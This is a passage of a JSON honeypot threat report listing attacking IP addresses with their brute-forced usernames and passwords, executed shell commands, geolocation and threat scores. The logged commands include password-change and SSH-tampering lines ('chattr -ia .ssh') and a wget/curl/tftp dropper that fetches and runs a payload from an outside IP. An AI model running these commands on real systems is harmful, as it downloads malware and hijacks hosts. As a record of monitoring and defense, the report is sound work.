        "Cowrie": 119,
        "Suricata": 29
      }
    },
    "181.237.101.125": {
      "attack_count": 119,
      "first_seen": "2026-03-17T13:47:55.604Z",
      "last_seen": "2026-03-17T14:10:03.753Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "huang",
        "345gs5662d34",
        "eadmin",
        "localhost",
        "monitoring",
        "pp",
        "root",
        "runner",
        "sg",
        "toan",
        "ubuntu"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "A100s200",
        "Localhost123!",
        "Monitoring123!",
        "eadmin1234",
        "huang1234",
        "password",
        "password1234",
        "runner123",
        "toan"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"huang1234\\nu15HzREsyee4\\nu15HzREsyee4\\n\"|passwd",
        "echo -e \"huang1234\\nu15HzREsyee4\\nu15HzREsyee4\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Pereira",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T13:47:55.604000+00:00",
        "last_seen_30d": "2026-03-17T14:11:07.211000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "59.5.176.151": {
      "attack_count": 119,
      "first_seen": "2026-03-08T16:58:51.228Z",
      "last_seen": "2026-03-08T17:21:37.825Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "patrick",
        "root",
        "345gs5662d34",
        "abdul",
        "ami",
        "geo",
        "nikola",
        "samuel",
        "search",
        "wikijs"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123!!!",
        "Wikijs123",
        "aaaa1234",
        "ami1234",
        "geo1234",
        "nikola",
        "samuelpass",
        "search123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nYdrVxWd3a3jj\\nYdrVxWd3a3jj\\n\"|passwd",
        "echo -e \"123456\\nYdrVxWd3a3jj\\nYdrVxWd3a3jj\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangbuk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T16:58:51.228000+00:00",
        "last_seen_30d": "2026-03-08T17:22:43.263000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "85.239.56.71": {
      "attack_count": 119,
      "first_seen": "2026-03-23T10:45:42.395Z",
      "last_seen": "2026-03-23T11:06:51.907Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "shares",
        "345gs5662d34",
        "jirka",
        "jon",
        "lucas",
        "michael",
        "patrick",
        "vastbase",
        "viewtinet",
        "yocto",
        "zhangsan"
      ],
      "passwords_attempted": [
        "1234",
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Vastbase123!",
        "password",
        "patrick1234",
        "viewtinet123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nwlMhAX8jayxR\\nwlMhAX8jayxR\\n\"|passwd",
        "echo -e \"1234\\nwlMhAX8jayxR\\nwlMhAX8jayxR\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 9123,
      "as_org": "Jsc timeweb",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T10:45:42.395000+00:00",
        "last_seen_30d": "2026-03-23T11:07:54.834000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "167.71.224.14": {
      "attack_count": 114,
      "first_seen": "2026-03-06T00:50:48.952Z",
      "last_seen": "2026-03-06T01:07:55.944Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "wso2",
        "345gs5662d34",
        "android",
        "chat",
        "diego",
        "mason",
        "root",
        "tomcat",
        "vnc",
        "ws"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "ASDqwe123!@#",
        "chatpass",
        "mason1234",
        "wso2123!",
        "wspass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"wso2123!\\npzu77z1kpB71\\npzu77z1kpB71\\n\"|passwd",
        "echo -e \"wso2123!\\npzu77z1kpB71\\npzu77z1kpB71\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T00:49:35.143000+00:00",
        "last_seen_30d": "2026-03-06T01:09:03.657000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 26
      }
    },
    "213.176.16.229": {
      "attack_count": 99,
      "first_seen": "2026-03-13T23:24:46.523Z",
      "last_seen": "2026-03-13T23:52:14.305Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "shyam",
        "ftpuser",
        "kevin",
        "patricia",
        "prueba",
        "root",
        "zy"
      ],
      "passwords_attempted": [
        "1",
        "123123123",
        "12345",
        "3245gs5662d34",
        "Aa123456789..",
        "kevin123!",
        "prueba123!",
        "shyam@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"shyam@123\\nYoGnRD2CUGwU\\nYoGnRD2CUGwU\\n\"|passwd",
        "echo -e \"shyam@123\\nYoGnRD2CUGwU\\nYoGnRD2CUGwU\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T23:24:46.523000+00:00",
        "last_seen_30d": "2026-03-13T23:53:16.258000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 21
      }
    },
    "61.0.238.17": {
      "attack_count": 99,
      "first_seen": "2026-03-02T00:01:28.268Z",
      "last_seen": "2026-03-05T22:31:32.057Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "student1",
        "345gs5662d34",
        "alfred",
        "cw",
        "prova"
      ],
      "passwords_attempted": [
        "1",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwer1234",
        "alfred1234",
        "password",
        "tesTtest123a"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1\\ndTe397Zv1OpO\\ndTe397Zv1OpO\\n\"|passwd",
        "echo -e \"1\\ndTe397Zv1OpO\\ndTe397Zv1OpO\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Namakkal",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.9,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:05.988000+00:00",
        "last_seen_30d": "2026-03-05T22:32:35.086000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 99,
        "Suricata": 23
      }
    },
    "159.89.166.126": {
      "attack_count": 93,
      "first_seen": "2026-03-15T03:54:01.479Z",
      "last_seen": "2026-03-15T04:14:02.418Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "admin",
        "admin123",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T03:54:01.479000+00:00",
        "last_seen_30d": "2026-03-15T04:15:07.458000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 37
      }
    },
    "34.62.130.113": {
      "attack_count": 71,
      "first_seen": "2026-03-10T12:52:31.250Z",
      "last_seen": "2026-03-10T12:53:10.961Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 5227",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T12:52:31.250000+00:00",
        "last_seen_30d": "2026-03-10T12:54:20.736000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "201.42.31.74": {
      "attack_count": 68,
      "first_seen": "2026-03-10T16:46:32.179Z",
      "last_seen": "2026-03-11T00:47:05.662Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "!1234Kelltech",
        "12345",
        "2026@kelltech",
        "4321",
        "Admin@kelltech",
        "Kelltech1234",
        "Kelltech@123",
        "Passw0rd123",
        "Test123",
        "Welcome2025@",
        "kelltech2020#",
        "root123#",
        "root2025!"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T16:46:32.179000+00:00",
        "last_seen_30d": "2026-03-11T00:48:14.774000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 39
      }
    },
    "120.48.102.177": {
      "attack_count": 54,
      "first_seen": "2026-03-15T06:56:18.405Z",
      "last_seen": "2026-03-22T10:17:03.336Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "aj",
        "celery",
        "erpnext",
        "julia",
        "michelle",
        "root",
        "sandra",
        "vnc"
      ],
      "passwords_attempted": [
        "123",
        "Bingo@1993",
        "Celery123",
        "erpnext",
        "juliapassword",
        "sandra123",
        "vnc"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.3,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T06:56:18.405000+00:00",
        "last_seen_30d": "2026-03-22T10:18:55.293000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 54,
        "Suricata": 32
      }
    },
    "185.242.3.105": {
      "attack_count": 54,
      "first_seen": "2026-03-13T01:59:28.954Z",
      "last_seen": "2026-03-31T19:44:26.804Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 60223,
      "as_org": "Netiface Limited",
      "threat_score": 63.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.3,
        "persistence": 17.5,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 21,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-11T17:51:44.736000+00:00",
        "last_seen_30d": "2026-03-31T19:45:29.806000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Cowrie": 54,
        "Tanner": 2
      }
    },
    "119.160.215.50": {
      "attack_count": 50,
      "first_seen": "2026-03-27T13:20:54.482Z",
      "last_seen": "2026-03-27T13:26:18.665Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 137047,
      "as_org": "TELECOMMUNICATION AND TECHNOLOGY MASTERS PVT. LIMITED",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T13:20:54.482000+00:00",
        "last_seen_30d": "2026-03-27T13:27:21.062000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.237.191": {
      "attack_count": 50,
      "first_seen": "2026-03-17T21:42:33.560Z",
      "last_seen": "2026-03-17T21:48:04.965Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T21:42:33.560000+00:00",
        "last_seen_30d": "2026-03-17T21:49:06.150000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "66.167.166.175": {
      "attack_count": 50,
      "first_seen": "2026-03-24T11:05:48.728Z",
      "last_seen": "2026-03-24T11:11:15.031Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T11:05:48.728000+00:00",
        "last_seen_30d": "2026-03-24T11:12:17.712000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "38.188.160.92": {
      "attack_count": 43,
      "first_seen": "2026-03-10T23:31:57.737Z",
      "last_seen": "2026-03-11T00:34:55.368Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "170389",
        "200480",
        "270285",
        "Gilles",
        "abr",
        "beyblade",
        "karateka",
        "macaroni"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:31:57.737000+00:00",
        "last_seen_30d": "2026-03-11T00:36:05.368000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 22
      }
    },
    "43.136.110.113": {
      "attack_count": 38,
      "first_seen": "2026-03-31T17:04:09.936Z",
      "last_seen": "2026-03-31T17:41:15.657Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "10nd0n",
        "3245gs5662d34",
        "345gs5662d34",
        "Bx123456",
        "gy@123456",
        "hannibal"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T17:04:09.936000+00:00",
        "last_seen_30d": "2026-03-31T17:44:38.997000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 16
      }
    },
    "85.239.151.41": {
      "attack_count": 36,
      "first_seen": "2026-03-26T11:00:52.205Z",
      "last_seen": "2026-03-26T11:01:50.401Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubnt"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "ubnt"
      ],
      "commands_executed": [
        "linuxshell",
        "shell",
        "system",
        "cd /tmp/; echo \"senpai\" > rootsenpai; cat rootsenpai; rm -rf rootsenpai",
        "enable",
        "rm -rf shr; wget http://202.155.10.112/shr || curl -O http://202.155.10.112/shr || tftp 202.155.10.112 -c get shr || tftp -g -r shr 202.155.10.112; chmod 777 shr;./shr ssh; rm -rf shr",
        "sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.log.closed",
        "cowrie.login.success"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 19318,
      "as_org": "Interserver, Inc",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T10:54:34.281000+00:00",
        "last_seen_30d": "2026-03-26T11:02:53.016000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 11
      }
    },
    "36.104.145.245": {
      "attack_count": 34,
      "first_seen": "2026-03-02T21:38:21.895Z",
